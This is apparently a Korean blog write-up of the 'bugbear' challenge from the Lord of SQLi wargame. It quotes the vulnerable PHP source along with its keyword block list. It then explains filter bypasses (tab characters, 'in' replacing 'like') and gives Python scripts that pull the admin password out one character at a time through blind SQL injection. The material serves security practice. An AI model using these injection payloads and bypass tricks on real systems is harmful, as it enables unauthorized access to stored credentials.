//key point 1
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 

//key point 2
$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 

 

key point 1

like와 띄어쓰기 사용이 불가능하다

like : in

띄어쓰기 : %09(tab)

으로 변경한다

 

key point 2

addslashes(); 함수가 존재한다

like : in

으로 변경한다

 

이는 blind sql injection으로 접근해야한다

 

while True:
    payload = "?no=0%09||%09id%09in%09(\"admin\")%09%26%26%09length(pw)%09in%09(" + str(len) + ")"
    r = requests.get(url + payload, headers=header_info)
    if r.text.find('Hello admin') != -1:
        break
    len += 1

 

like 가 사용 불가능하기 때문에, in을 사용한다

 

위 코드는 우선 length(pw)를 구하는 파이썬 스크립트이다

 

pw의 길이를 1씩 늘려주면서 비교하고 맞는 숫자가 들어가면 중단한다

위의 코드로 pw 길이가 8 이라는 것을 알 수 있다

 

 

길이를 알았으면 pw를 한자리씩 찾아나가야 한다

다음과 같은 코드로 pw를 알아낸다

 

for i in range(1, len + 1):
    for word in string:
        payload = "?no=0%09||%09id%09in%09(\"admin\")%09%26%26%09" + "mid(pw," + str(i) + ",1)%09in%09(" + "\"" + word + "\")"
        r = requests.get(url + payload, headers=header_info)
        if r.text.find('Hello admin') != -1:
            password = password + word
            print("Finding... : {}".format(password))
            break

 

key로 사용한 것은 mid 이다

 

즉, mid(pw, "자릿수", 1) like word로 브루트포싱하는 것을 알 수 있다

다음과 같이 비밀번호를 알아낼 수 있다

pw를 입력하면 문제를 해결할 수 있다

 

 

'Wargames' 카테고리의 다른 글

[LOS] assassin  (0) 2021.05.24
[LOS] giant  (0) 2021.05.22
[LOS] darkknight  (0) 2021.05.22
[LOS] golem  (0) 2021.05.22
[LOS] orge  (0) 2021.05.13

+ Recent posts